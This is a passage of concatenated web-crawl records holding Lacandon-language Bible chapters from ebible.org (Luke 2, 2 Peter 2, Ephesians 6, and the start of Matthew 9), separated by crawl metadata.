nʌ'. Rajen caj u jʌmʌch p'ʌtaj u cajar Nazaret quir u bin. 5 Caj binob José yejer María ich Belén quir u ts'ibticob u c'aba'. José mʌ' toy u jach raq'uintej María chen tabar u rochic u parar. 6 Ti' yʌn José yejer María ich u cajar Belén caj c'uchij tu q'uinin u rochic u parar. 7 María caj u rochaj u chan och xib. Raji' tu yʌnx rochaj María. Caj u tapa María yejer u tep' caj u chaquintaj tu cu bin u jansej yʌrʌc' wacʌx quire' mʌ' tu cu mʌjʌnticob naj quir u wenʌnob quire' jach pimob caj u rʌc ts'ibtajob u c'aba'.\nCaj tarob yʌjmasirob u t'ʌn C'uj ich tu cu cʌnanticob yʌrʌc' tʌmʌn yuc\n8 Bʌytʌc ich u cajar Belén ti' yʌn yʌjcʌnanyʌjirob yʌrʌc' tʌmʌn yuc. Cax ac'bir caj u cʌnantajob yʌrʌc' tʌmʌn yuc. Ti' yʌnob tu mʌna' u che'er chen suc yʌn. 9 Seb caj tar ch'ictar yʌjmasir u t'ʌn C'uj tu yʌn yʌjcʌnanyʌjirob tʌmʌn yuc caj tar u sasir C'uj caj sasichʌjij tu yʌnob. Rajen jach jaq'ui yorob. 10 Caj ya'araj yʌjmasir u t'ʌn C'uj:\n―Mʌ' u jac'ʌrex a worex ten quire' caj taren in wa'aric techex a je' tsoy t'ʌna'. Caj taren in wa'aric tech soc u qui'tar yor tu cotor mac. 11 Baje'rer rocha'b ten u nʌ' ich u cajar Belén. Ra' a wʌjtaquirex a caj u ya'ara yʌjtseq'uir u t'ʌn C'uj je' u tare'. Raji' Cristo Jaj Ts'ur a' tuchi'ta'b ten C'uj. 12 Soc a werex a ba' quin waquextech jaj. Je' a wiriquex charic tu cu jansic yʌrʌc' wacʌx ich u najir yʌrʌc' wacʌx.\n13 Seb caj tar u jer ya'ab yʌjmasirob u t'ʌn C'uj. Jach pim caj tarob. Ti' u tar ich ca'anan. Caj u yʌnxchun u c'ʌyicob C'uj yʌjmasirob u t'ʌn C'uj. Caj u c'ʌyob C'uj:\n14 Jach caremech C'uj a techo' a ti' yʌnech ich ca'anan. Jach qui' yor a mac a ti' yʌn ich yoc'ocab a tu qui' quiquintajob a wor C'uj. Mʌ' ja wirej, caj a yamtaj ti'ob.\nBaxuc caj c'ʌyajob yʌjmasirob u t'ʌn C'uj.\n15 Caj wʌc'ʌs binob yʌjmasir u t'ʌn C'uj ich ca'anan. Caj ya'arob ti' u rac'ob yʌjcʌnanyʌjirob:\n―Ca' xico'onex ich u cajar Belén ca' ij quirej a ba' caj u ya'araj to'on yʌjmasirob u t'ʌn C'uj. Ca' ij quirej ba' u ber ti'.\n16 Ts'ajan yor binob caj u nup'ajob María yejer José ich u najir tu cu jansicob yʌrʌc' wacʌx. Ti' chara'an u chan ochir María tu cu jansic yʌrʌc' wacʌx. Caj ts'oc yiricob u chan ochir. 17 Yʌjcʌnanyʌjirob tʌmʌn yuc caj ara'b ti' José yejer María a ba' ara'b ti'ob ten yʌjmasir u t'ʌn C'uj. Caj ya'arob ba' cu bin u betic u chan ochir ich u rac'ob u winiquirob judío. 18 Caj jac'ob yor tu cotor a caj u yuba ba' caj u ya'arajob yʌjcʌnanyʌjirob tʌmʌn yuc. Tu tsicbʌtob bic tabar u chan ochir María. 19 María caj u qui' tucraj a ba' yuba ya'ara'r ten yʌjcʌnanyʌjirob tʌmʌn yuc. Rajra' cu tucric ti' tu yor María. 20 Caj wʌc'ʌs sutnʌjob yʌjcʌnanyʌjirob tʌmʌn yuc quir u beyaj. Caj ya'arob ti' C'uj:\n―Bayo' C'uj, jach caremech C'uj quire' tij quiraj tij quich quire' baxuc caj a wa'ara to'on. Toc taj caj a wa'araj to'on ―baxuc caj ya'arob yʌjcʌnanyʌjirob tʌmʌn yuc ti' C'uj.\nJesús caj bin purbir ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío\n21 Caj man turiri' semana caj bin purbir Jesús quir u sesic u bʌq'uer chan xib an ten bic nanij u betic u winiquirob judío. Caj pach u c'aba' Jesús an ten bic caj ara'b ten yʌjmasir u t'ʌn C'uj ti' María. Ra' u q'uinin mʌ' toy yʌnʌc u parar uch.\n22 Caj ts'oc u nup'ur u q'uinin an ten bic caj u ts'ibtaj Moisés uch. Ra' u q'uinin caj bin María quir u yesic u bʌj ʌcʌtan C'uj ich carem naj an ten bic nanij cu betic u winiquirob judío, yet binac José. Rajen binob purbir Jesús ich u cajar Jerusalén quir u yesicob ti' C'uj ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío soc C'uj yʌnin ti'. 23 Caj binob quir u nup'ur u t'ʌn a tu ts'ibtaj Moisés uch. Caj ya'araj: \"A mac a yʌn bat'an rochic u parar xib yʌn u bin u ts'ic chan och ti' Jaj Ts'urir soc raji' yʌnin.\" 24 Caj binob José yejer María quir u ts'ic ti' C'uj a baxuc caj u toc araj Moisés uch, caj ya'araj: \"Yʌn a ts'ic ca'tur susuy wa mʌna', yʌn a ts'ic ca'tur chan tuch. Raji' yʌn u quinsic sacerdote quir u toquic ti' C'uj.\" Baxuc caj ya'araj Moisés uch. 25 Ra' u q'uinin caj bin María yejer José ti' cʌja'an ich u cajar Jerusalén, turiri' xib Simeón u c'aba'. Raji' jach tsoy yor, cu jach c'ujintic C'uj. Caj u qui' paj u q'uinin ber ca' bin tac a mac a cu bin tuchi'bir ten C'uj quir u qui'quinta' yor u winiquirob israel. Quire' u Taj'or u Pixam C'uj caj u pay ber Simeón. 26 Rajen esa'b ten u Taj'or u Pixam C'uj ti' Simeón: \"Mʌ' a quimin hasta ca wiric ta wich Cristo a mac Jaj Ts'ur, a mac tuchi'ta'b ten C'uj.\" 27 Simeón caj bin ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, quire' pay u ber ten u Taj'or u Pixam C'uj. Ba'iri' c'uch José yejer María yejer u chan ochir María, Jesús u c'aba'. An ten bic nanij u yesicob u winiquirob judío ti' C'uj ich carem naj, rajen binob. 28 Simeón caj u nup'aj José yejer María, caj chuc u chan ochir María ten Simeón. Caj u t'ʌnaj C'uj Simeón:\nBayo' C'uj, quij. 29 Jaj Ts'urir, quij Simeón, baje'rer c'ucha'an in wor in quimin. 30 Qui' in wor quire' caj in wiraj a mac a caj a toc araj cu bin tar. Caj in wiraj in wʌjtaquir an ten bic caj a wa'araj ti' ten a mac a cu beyaj tech. 31 A je' chan ocha' a quin rochic raji' caj a tetaj quir u taquic mac tu cotor. Tu cotor cu bin yiric. 32 A je' chan ocha', je' u sasiquintic ti' mac cax a mʌ' u winiquirob judío soc yerob bic tabar cu bin tacbir. U winiquirob judío cu bin sʌjta'bir ten tu cotor mac quire' ti' u tar ti'ob a mac cu bin u taquic ti'ob.\n33 José yejer María u nʌ' Jesús caj jaq'uij yorob quire' yubarob ya'aric Simeón ti' chan ochir. 34 Simeón caj ya'araj:\n―Ca' u yamtej techex C'uj.\nCaj ara'b ti' María ten Simeón:\n―Ca bin a muc'yaj María irej wa rambirech yejer chan mascab quire' a ba' cu bin tar ti' a parar. Ya'ab u winiquirob israel cu bin satʌrob quire' mʌ' tu quibob a parar tech. Chen ya'ab cu bin u cuxtar munt q'uin quire' caj u quibob ti'. Ya'ab mac cu bin u nunquicob u t'ʌn 35 soc u joc'ar a ba' cu muc u tucricob tu yorob. Baxuc teta'b ten C'uj uch ―baxuc caj ara'b ten Simeón.\n36 Ti' yʌn u jer xquic ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío, ra' u c'aba' Ana, raji' u c'aba' u tet, Fanuel. Ana, raji' u jach ʌj tseq'uir u t'ʌn C'uj. Raji' yo'nen Aser. Jach uch ch'ijic. Tan tu xur u baquer Ana caj raq'uinta'b ten u mam caj ts'oc u man siete yaxq'uin caj quim u mam. U beriri' mʌna' u mam, quim u mam. 37 Baje'rer yʌn ochenta y cuatro yaxq'uin, mʌna' u mam. Rajra' ti' yʌn Ana ich carem naj. Rajra' caj u c'ujintaj C'uj caj u t'ʌnaj C'uj ti' u rac'ob. Su' su' caj u jamach p'ʌtaj u janʌn soc u qui' c'ujintic C'uj. 38 Ana caj c'uchij ich carem naj ra' u q'uinin ti' yʌn Simeón tan u tsicbarob yejer José yejer María. Caj ts'oc yiric u chan ochir María caj u t'ʌnaj C'uj caj ya'araj:\n―Bayo' C'uj quire' caj in wiraj chan ochir.\nAna caj tsicbanʌj yejer u rac'ob bic tabar u chan ochir María. Caj ya'araj ti' a mac tan u pajicob u tar Cristo ich u cajar Jerusalén. Ana caj u tsicbʌtaj ti'ob ti' Cristo. Baxuc caj ara'b ten Ana.\nCaj wʌc'ʌs sutnʌj ich u cajar Nazaret\n39 Ra' ts'oc u nup'sicob a ba' ya'araj ich u t'ʌn Moisés. Caj wʌc'ʌs sutnʌjob José yejer María ich u cajar Nazaret quire' ra' u jach cajar. Ti' yʌn tu ru'umin Galilea. 40 Ti' yʌnob ich u cajar Nazaret caj ch'ijij u parar. Caj u jach chichtar u muc'. U ne'er ya'aric tu cotor ba'. C'uj caj u qui' cʌnantaj chan Jesús xan.\nCaj c'uchij chan Jesús ich carem naj tu cu naj c'ujinticob C'uj u winiquirob judío\n41 An bic nanij u bin José yejer María cu yocar yaxq'uin cu bin ich u cajar Jerusalén, cu c'uchur tu q'uinin u qui'qui' janʌnob u winiquirob judío. Ra' u q'uinin cu c'ʌ'oticob tu caj u potmastaj yʌjmasir u t'ʌn C'uj uch. 42 Rajen caj c'uchij ti' doce u yaxq'uinin ti' Jesús yet binacob u nʌ' yejer José ich u cajar Jerusalén an ten bic nanij cu binob José yejer María quir u binob. 43 Caj ts'oc u qui'qui' janʌnob caj sutnʌjob José yejer María. Tiri' toc p'at Jesús ich u cajar Jerusalén. Mʌ' yerob u nʌ' wa tar bin Jesús yejer u rac'ob pʌybej. Mʌ' yerob p'at tu junan ich u cajar Jerusalén. 44 Cu tucricob tan u tar ich a pimo' a yet binacob, tu masajob turiri' u q'uinin ich bej. Caj binob cʌxta'bir Jesús ich u rac'ob bayiri' ich u bʌjob. 45 Mʌ' yirob rajen wʌc'ʌs ca' sutnʌjob u cʌxtej ich u cajar Jerusalén.\n46 Caj c'uchob ich Jerusalén caj u cʌxtajob, tres u q'uinin tan u cʌxta' Jesús. Tres u q'uinin caj ir Jesús. Ti' yʌn ich carem naj caj irir curucbar yejer yʌjcamsʌyʌjirob u t'ʌn Moisés. Caj yubaj u tsicbarob. Caj u c'ataj Jesús a ba' cu camsicob yʌjcamsʌyʌjirob.\n47 Jac'a'an yorob yʌjcamsʌyʌjirob u t'ʌn Moisés quire' yubicob quet u nunquic Jesús a ba' cu c'ata' ti' quire' yer u nunca'r Jesús. 48 Caj irir ten José ti' yʌn Jesús ich u yʌjcamsʌyʌjirob u t'ʌn Moisés caj jaq'uij yorob u nʌ' yejer José. U nʌ' caj ya'araj:\n―In pararech, biquinin caj a betaj to'on aro'? Mʌ' wa ja toc er je' in wac'tiquech yejer a tet?\n49 Caj ya'araj Jesús:\n―Biquinin caj tarechex a cʌxtenex? A werex a teno' yʌn in bin in betej a caj u ya'araj ten in Tet C'uj, rajen te' yʌnena'.\n50 Robob mʌ' ju najticob ba' caj u ya'araj Jesús ti' u nʌ' yejer u tet.\n51 Quet caj wʌc'ʌs sutnʌjob ich u cajar Nazaret. Caj u quibaj u tʌn u nʌ' Jesús quet u quibic u t'ʌn José. María caj u caj tucraj ich yor a ba' caj u ya'araj Jesús ti'ob. 52 A Jesúso' caj u jach ne qui' cʌnaj quire' tan u jach ne ch'ijir quire' yajquinta'b ten C'uj. Bayiri' u rac'ob yajquinta'b Jesús.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/LUK02.htm","date":"2022-07-02T18:03:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104189587.61\/warc\/CC-MAIN-20220702162147-20220702192147-00418.warc.gz","language":"lac","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000067949295044}","num_words":1911,"character_repetition_ratio":0.083,"word_repetition_ratio":0.005,"special_characters_ratio":0.277,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nTus yʌjcamsʌyʌjirob u t'ʌn C'uj\n1 C'aj techex wa ti' yʌn uch tus yʌjcamsʌyʌjirob u t'ʌn C'uj tu q'uinin ti' yʌn ic nunquirex uch. Baxuc je' u ca' tarob tus yʌjcamsʌyʌjirob u t'ʌn C'uj. Je' u tar tu yʌnechex xan quir u sosoc aric a ba' cu ya'aric u t'ʌn C'uj. Bin u yʌnxchun u muc u camsicob aro'. A baywo', cu joc'sicob ic Jaj Ts'urirex tu yorob cax raji' tu bo'ot u bo'orir u si'pirob. Mʌ' ja wirej, irob wa mac u c'at sep u binob ich c'ac'.\n2 Ya'ab mac cu bin u c'ʌmicob a ba' camsa'b ten a tus yʌjcamsʌyʌjirob u t'ʌn C'uj. Bin u ca'ob yacs u si'pirob a ba' jach c'as, quire' cu pachticob c'as. Rajen bin u ca'ob ya'aric c'as ti' u t'ʌn C'uj, cax taj u t'ʌn C'uj.\n3 Quire' cu nepachticob u jaricob u taq'uinob a tus yʌjcamsayʌjirob, rajen cu bin u camsiquechex a ba' mʌ' taji' tu cu tus camsiquechexob soc u tus jaricob u taq'uinob. A C'ujo', a mac a jueso', tan u toc pajic ca' u jʌse, uch tan u pajic u jʌsic soc ti' cu binob satʌri'.\n4 Mʌ' ja wirej, mʌ' jawsa'b u si'pir ten C'uj yʌjmasirob u t'ʌn C'uj uch, a caj u yacsob u si'pir. Quire' caj joc'sa'b ten C'uj. Caj c'arob yejer mascab ich c'ac'. Ti' yʌnob ich yac'birir quire' tan u cʌnanta'r hasta cu c'uchur tu q'uinin cu jasʌr mac.\n5 Baxuc xan, mʌ' jawsa'b u si'pirob ten C'uj, a ti' cʌja'anob yejer Noé, uch. Chen Noé quire' caj u yacsa tu yor. Raji' xan, caj u tsec'taj ich u yet cajarob a ba' u c'at C'uj ti'ob. Jari' siete winicob yejer Noé caj toc ten C'uj, caj burij ich yoc'ocab. Mʌ' ja wirej, a C'ujo', ya'ar u burur, quire' cu manob tu c'asir uch, rajen rʌc quimob.\n6 Baxuc xan, mʌ' jawsa'b u si'pirob ten C'uj a mac a cʌja'an tu cajar Sodoma uch. Baxuc xan a mac a cʌja'an tu cajar Gomorra. Rʌc toca'b ten C'uj rʌc erij, chen u ta'anin p'atij. Ra' quir u camsic ti' a mac a c'aso', a cu bin c'uchur tu q'uinin a mac a cʌja'anobo' ich yoc'ocabo' soc mʌ' u cʌnicob.\n7 Jari' a Loto', caj toc ten C'uj tu cajar Sodoma yejer Gomorra, quire' a Loto', tsoy yor. Jach choquij yor Lot caj yiraj u manob ich u c'asir u yet cajarob.\n8 Mʌ' ja wirej, yaj yiric Lot u rac'ob, quire' cu tucric u rac'ob. Caj yiraj c'as cu beticob. Chen c'as cu yubic Lot, quire' rajra' cu yubic quire' ti' cʌja'ani'. C'as cu yubic Lot quire' tsoy yor a Loto'.\n9 A baywo', ic Jaj Ts'urirex qui' yor u yamtic a mac a cu tucric C'ujo' soc mʌ' ju pʌy u si'pir. Bayiri' xan bin u ca' u pure ich c'ac', a mac a mʌ' ju tucre C'ujo' soc ti' taro' cu bin u pajicob u q'uinin tu cu bin jʌsbirob ten C'uj tu cotor mac.\n10 C'aj techex. Je' u bo'otic u bo'orir u si'pirob a mac a tan u manob u pachticob c'as tu yorob. Jach manan cu bin u bo'oticob. Je' u bo'oticob, quire' mʌ' ju quibob u t'ʌn C'uj xan. Mʌ' ju ch'ajob sajquirob ti' C'uj xan. Cu chen tucricob u bʌjiri': \"Jach caremenob.\" Tan u p'asticob a mac a cu beyajob ti' C'uj ich ca'anan.\n11 Mʌ' ja wirej, a robob yʌjmasirob u t'ʌn C'uj ich ca'anan a mac no'j beyajob. Cax jach manan u muc'ob quir u ts'urinta'r ten mac. Mʌ' ju ta'cob u jo'r mac ich ʌcʌtan ic Jaj Ts'urirex. Mʌ' u p'asticob ich ʌcʌtan ic Jaj Ts'urirex xan.\n12 A werex a bʌc'o' caj ts'a'b ten C'uj quir ic chuquiquex ij quinsej. Baxuco', a tus yʌjcamsʌyʌjirob u t'ʌn C'uj, irob bʌc', quire' chich u jorob, mʌ' ju yube t'ʌno'. A ba' no'j ti' cu ya'aricob c'aso' rajen bin u ca'ob satʌrob.\n13 Quire' robob bin u ca' bo'oticob u bo'orir tu cu muc'yajob quire' caj u yacsob tu si'pirob a mac a tu tus camsob. Mʌ' ja wirej, cu manob tu c'asir, cax chunq'uin, quire' mʌ' suracobi'. Irob ba' cu jach poc'ar. Irob ba' jach tu', quire' rajra' cu manob tu si'pirob. Wa ber p'eri'ob cu janʌnob yejerechex, cu chen tusaricob techex an ten bic taj caj u yasajob tu yorob u t'ʌn C'uj yejerex.\n14 Mʌ' ja wirej, u burur u q'uinin cu pachticob tu yorob xquic, soc u manob yejer. Ra' cu payicob yejer u wichob quire' mʌ' c'ucha'an yorob u p'ʌticob xquiqui'. A ray winico' a mʌ' u rac'o' cu tusaric ti' quire' mʌ' ju qui' acsa tu yor u t'ʌn C'uji'. A ray winicob jach manan ts'ut. Raji'ob cu tus tabsicob mac tu cotor quir u binob ich u si'pirob a mac a mʌ' chichac yorob ti' u t'ʌn C'uj. A ray winicob mʌ' tsoy tu wich C'uj rajen cu rʌc binob yerar ich c'ac'.\n15 Mʌ' ja wirej, robob caj u p'ʌt u toc berob quir u binob ich C'uj. Baje'rer ti' yʌnob tu berir tu cu bin satʌrob. Caj u ch'a'ob u ber a tu ch'aj Balaam, ra' u parar Beor. C'aj wa techex, raji' a tu pachtaj taq'uin a cu bin ts'abir ti' quir u betic c'as.\n16 A Balaamo' mʌ' ju betaj a ba' caj u tucraj quire' su'sa'b ten chan tsimin ich ber quire' t'an ten chan tsimin Balaam. T'an ten chan tsimin quire' cha'b ten C'uj ca' joc'ac u t'ʌn irej winic cu t'ʌn. Rajen su'sa'b. Rajen mʌ' ju betaj a ba' caj tu tucraj tu yor.\n17 Chen a je' tus yʌjcamsayʌjirob irob yic' ja' tu quic bin ij quirex ij co'ochex ja', chen mʌna', quire' rʌc sajij. Baxuc xan, irob muyarob, a cu pictaro' ten ic', rajen mʌ' ju tar ya'arir. A baywo', yejer a tus yʌjcamsʌyʌjirob, jot, ca' jij cacsex tij corex u t'ʌnob, quire' mʌ' ju yamto'onex chichin. Toc ara'b ten C'uj tu cu binob. Ti' cu binob yac'birir munt q'uin.\n18 Robob u bʌjiri', cu ya'aricob mun jach caremob, chen jot a ba' cu ya'aricob, quij Pedro, quire' mʌ' ba'wir ti'ob. Robob cu tsicbʌticob a ba' cu pachticob tu yorob, a c'aso' soc a mac a mʌ' chichac u yorob ti' u t'ʌn C'uj cu pachticob xan. Quire' ti' cu bin yubicob u t'ʌn C'uj soc u puts'urob ti' a ba' cu yiricob a mac a mʌ' yerob C'ujo'.\n19 Robob a tus yʌjcamsʌyʌjirob u t'ʌn C'uj cu tus a'aricob c'ucha'an yorob u betej a ba' u c'atob. Baxuc cu tus a'aricobo' tus yʌjcamsʌyʌjirob ti' a mac a cu yacsmʌnob tu yorob. Barej u bʌjiri' mʌ' c'ucha'an yorob a ba' u c'atobo' quire' cu ts'urinticob u si'pirob. Mʌ' ja wirej, wa ij c'at ca' ic ts'urint a c'aso', ra' quic ts'urintic xan.\n20 Mʌ' ja wirej, a mac a te' ich yoc'ocaba' caj p'at u si'pir quire' yer ic Jaj Ts'urirex Jesucristo ij cʌjtaq'uirex. Chen caj u ca' pacht u si'pir tu ca'ten, soc ra' cu ca' ts'urintic tu ca'ten. Jach manan c'as aro', a ucho', mʌ' nec'asi' cax mʌ' toy yer a Jesúso'.\n21 Jach manan tsoyir wa uch mʌ' yer u berir tu cu cuxtar munt q'uin. Mʌ' ja wirej, jach yaj yubic wa mac yer u ber quir u cuxtar munt q'uin, pachir caj u p'us u pach a baywo', caj u p'ʌt u t'ʌn C'uj.\n22 A werex ba' u ber ti' a mac, a cu p'us u pach tan u p'ʌt u t'ʌn C'uj irob a pec'ob a cu sut quir u ret'sic u xej. Baxuc cu ya'aric. Bayiri' xan, irob a cajij q'uec'anob, caj ts'oc u p'obar ten mac, cu wʌc'ʌs bin u baxtej ruc'. Baxuc cu ya'aric mac.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/P22.html","date":"2022-07-01T07:02:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103922377.50\/warc\/CC-MAIN-20220701064920-20220701094920-00227.warc.gz","language":"lac","language_score":1.000007987,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000079870224}","num_words":1254,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.299,"stopwords_ratio":0.481,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6\nA chichano' yejer u tet yejer u nʌ'\n1 A chichano', cax xib, cax xquic, ca' u quib u t'ʌn u tet yejer u nʌ'. A baywo', ca betiquex a tsoyo', quire' ta wacsex ta worex ti' Cristo.\n2-3 \"Sʌtex a tetex yejer a nʌ'ex, rajen je' u joc'ar tsoyirechex. A baywo', jach ama'an ca' bin quimiquex.\" Baxuc cu ya'aric ich u t'ʌn C'uj uch. Raji' pʌyber tu yʌn araj C'uj tu cu bin yamtico'onexe' wa quij quibiquex aro'.\n4 A techexo', a mac a yʌn a pararexo'. Mʌ' a tiquin q'ueyiquex a pararex soc mʌ' u joc'ar yorob a pararex. Quire' aca'an ta pixamex ic Jaj Ts'urirex soc jach tsoy ca bin a t'ʌniquex a ti'obo'. Tsoy a q'ueyiquex a ti'obo' an ten bic u c'at ic Jaj Ts'urirex. Quire' wa tsoy ca t'ʌniquex a pararex je' u quibicob a t'ʌnexe'.\n5 A techexo', u c'urewechex mac quire' tu mʌnechex. Ca' a quib u t'ʌn a ts'urirex. Ca' a ch'a'ex sajaquirex a ti'obo'. Ca' a sʌjtex a ti'obo'. Ca' qui' beyanʌquex ti'ob an ten bic caj qui' beyanʌjechex ti' Cristo.\n6 Mʌ' a chen qui' beyajex ti' a ts'urirex wa ber cu yiricob techex tu ca beyajex soc ya'aricob, jach tsoyechex, quij. Rajra' qui' beyanenex ti'ob quire' qui' a worex. Qui' beyanenex ti'o' quire' baxuc u c'at C'uj, quire' u curewechex C'uj xan.\n7 Wa ber ca beyajex ti' a jach ts'urirex, beyanenex yejer u tsoyir a pixamex. Yʌn c'aj techex, ca beyajex ti' ic Jaj Ts'urirex Jesucristo, mʌ' a chen beyajex ti' a jach ts'urirex ich yoc'ocab.\n8 Yʌn c'aj techex xan, ic Jaj Ts'urirex je' u bo'otic u bo'orir a c'ʌbex tu quic beyajex. Quire' a ba' beyaj tic betex wa jach tsoy, cax beyanʌjo'onex ti' ic Jaj Ts'urirex cax u bʌjiri' u ts'urir u bʌj cu beyaj.\n9 A techexo', a mac a yʌn u c'urewo'. Ca' a betiquex a ba' jach tsoy ti' a c'urewex. Mʌ' a yʌn tiquin q'ueyiquex a c'urewex quire' a werex ti' yʌn mac ich ca'anan a yʌninechex, a Jaj Ts'urirex. Mʌ' ja wirej, raji' cu yajquintic tu cotor mac, mʌ' ju chen yajquinta jun yarob maco'.\nA ba' cu ts'ic to'onex ra' quir ic chi'ex a quisino'\n10 Jari' a je'ra' bin in ts'ibtej techex. Mʌ' ja wirej, in wet acsʌ'orirechex quire' mʌna' u chichir a muq'uex ta pixamex ta junanex, rajen ca' a c'ʌmex u chichir u muc' u pixam ic Jaj Ts'urirex, quire' p'eri'echex yejer ic Jaj Ts'urirex.\n11 Toc ch'ajex a wʌc'ʌs a bʌjiri'exe' a ba' tu ts'a techex C'uj quir a cʌnantic a pachex, bayiri' xan quir u yamtic techex ti' a ba' cu tar ʌcʌtan techex. A baywo' c'ucha'an a worex ti' a quisino'. Ca' a betex aro' irej a soldadojo' a cu buquintic u noq'uir mascab quir u cʌnantic u bʌj quir u yocar ba' te'.\n12 Quire' mʌ' jic ts'ictarex yejer a mac a quet u winquirir yejero'onex, mʌ' quet ij q'uiq'uer yejero'onexi'. Tan ic ts'ictarex yejer a mac a mʌ' chʌca'an ij quiriquex, a mac mʌna' u winquiriro'. Raji', a quisino', a mac u jach ts'urir quisino', yejer robob u ts'urirob u si'pirob, a te' yʌn ich yoc'ocaba'. Robob yʌn ya'ab mac a cu quibicob u t'ʌno' wa ber cu yacob a ti'obo'.\n13 Rajen ca' a toc ch'ajex ti' a bʌjirex a tu cotor tu ts'ajex tech C'uj, a baywo' c'ucha'an a worex ti' a quisin wa ber ca' bin tac u tumt a worex. Wa ca toc ch'iquex ti' a bʌjirex a ba' tu ts'a techex C'uj, jeroj a quisino' mʌ' ju c'uchur yor techex.\n14 Wa ber ca' bin xic tu ba'te' soldado, toc ts'a'b ti'ob ba' quir u binob. Yʌn c'ax u nʌc' quir u c'ʌxic u nʌc'. Yʌn u boxer u c'ʌb quir u cʌnantic u bʌj. Yʌn u noq'uir mascab quir u buquintic. Baxuc techex xan, ca' a betex soc a cʌnantex a bʌj yejer u t'ʌn C'uj, a ba' taji', bayiri' xan, ca' manaquechex tu tsoyir.\n15 Wa ber ca' bin xic a soldadojo' ich ba'te', toc ts'ab ti' pech' xʌnab quir u binob. Baxuc techex xan, toc ts'ajan a worex a binex a tsec'tex u jach tsoyir u t'ʌn C'uj, soc mʌna' ba' cu tucricob mac a cu c'ʌmicob Cristo.\n16 A soldadojo' cu cuchic u boxer u c'ʌb ca' bin xic tu ba'te', raji' cu cuchic soc mʌ' u bin jurbir ten mac a cu tar quinsbir a ti'o'. Baxuc techex xan, ca' a qui' acsex ta worex soc c'ucha'an a worex ti' a quisino'.\n17 A soldadojo' ca' bin xic ich ba'te', cu p'oquintic u boxer u jo'r, a mascabo', soc u cʌnanta'r u jo'r. Baxuc techex xan, ca' a cʌnantex a bʌj, rajra' ca' a tucrex bic caj toquechex soc a cuxtarex munt q'uin. A soldadojo' ca' bin xic tu cu ba'te', u mʌchmʌn u mascab soc c'ucha'an yor ti' a mac a cu tar. Baxuc techex xan, ca' a c'ʌniquex u t'ʌn C'uj, a ts'ab ten u Taj'or Pixam C'uj soc c'ucha'an a worex ti' a quisino'. Mʌ' ja wirej, caj a wacsex ta worex bin u ca' tacbirechex ten u Taj'or u Pixam C'uj, aro' irej a ba' cu cʌnantic a jo'rex. U t'ʌn C'uj, a cu ya'aric techex u Taj'or u Pixam C'uj ra' ir a mascabex.\n18 Rajra' t'ʌnex C'uj. C'atex ti' C'uj ca' u yam techex. Ca' a t'ʌniquex C'uj an ten bic u Taj'or u Pixam C'uj cu pʌyic a berex. U yʌn p'ir a wichex ca' a chichquint a worex soc rajra' ca t'ʌniquex C'uj ti' a mac a quet yejerechex a yacsmʌnob tu yorob ti' Cristo.\n19 Ca' a t'ʌnex C'uj ten xan, soc a C'ujo' cu tsicbar ten a ba' quin wa'aric ti' mac bic tabar cu bin tacbirob ten C'uj, cax mʌ' u winiquirob judío baje'rer.\n20 Mʌ' ja wirej, te' yʌnenena' c'ʌra'anen yejer mascab tu cu ma'cʌr winic quire' quin tsec'tic u t'ʌn C'uj. Ca' a t'ʌnex C'uj ten soc u chichquintic in wor soc mʌ' u jac'ʌr in wor in tsec'tej u t'ʌn C'uj quire' a baywo' ca' in tsec'tej.\nCu t'ʌnic u yet acsʌ'orirob\n21 Ij quet acsʌ'orirex Tíquico, ti' cu tar tu yʌnechex. Ca' bin c'uchuc tu yʌnechex je' u tsicbʌtic techex a ba' in ber ten. Raji' in jach yaj, rajra' tan u beyaj ti' ic Jaj Ts'urirex.\n22 A teno' tan in tuchi'tic techex Tíquico soc a wu'yiquex a tenob jach qui' in worob, a baywo' bin u ca' u chichquint a worex.\n23 A teno' quin t'ʌnic ic Tetex C'uj techex, bayiri' quin t'ʌnic ic Jaj Ts'urirex techex soc mʌna' ba' ca tucriquex. Bayiri' xan, soc a yajquintex tu cotor mac, bayiri' soc a qui' acsiquex ta worex.\n24 Quin t'ʌnic C'uj soc a werex u jach tsoyir u pixam C'uj, a techexo' yejer tu cotor mac a cu qui' yajquinticob ic Jaj Ts'urirex. Jeroj ts'oqui, quij Pablo.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/EP6.html","date":"2022-07-04T12:48:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104375714.75\/warc\/CC-MAIN-20220704111005-20220704141005-00232.warc.gz","language":"lac","language_score":1.0000027418,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000027418136597}","num_words":1121,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.294,"stopwords_ratio":0.46,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9\nJesús cu jawsic a mʌ' u ch'itare'\n(Mr. 2.1‑12; Lc. 5.17‑26)\n1 Caj ts'oc aro' caj oc Jesús ich chem. Caj bin pʌchir c'ac'nab quir u bin ich u cajar Capernaum. Caj urij ich Capernaum.\n2 Caj tarob purbir a mech yoc ten u rac'ob. A mech yoco' xib, characbar ich ch'ac. Jesús caj u yiraj bic tabar caj u yacsajob tu yorob, caj u t'ʌnaj a mech yoco':\n―Qui'quintej a wor in pararech. Tsoy in wiriquech quire' toc jaw a si'pir.\n3 Ti' yʌn yʌjcamsʌyʌjirob u t'ʌn Moisés ich 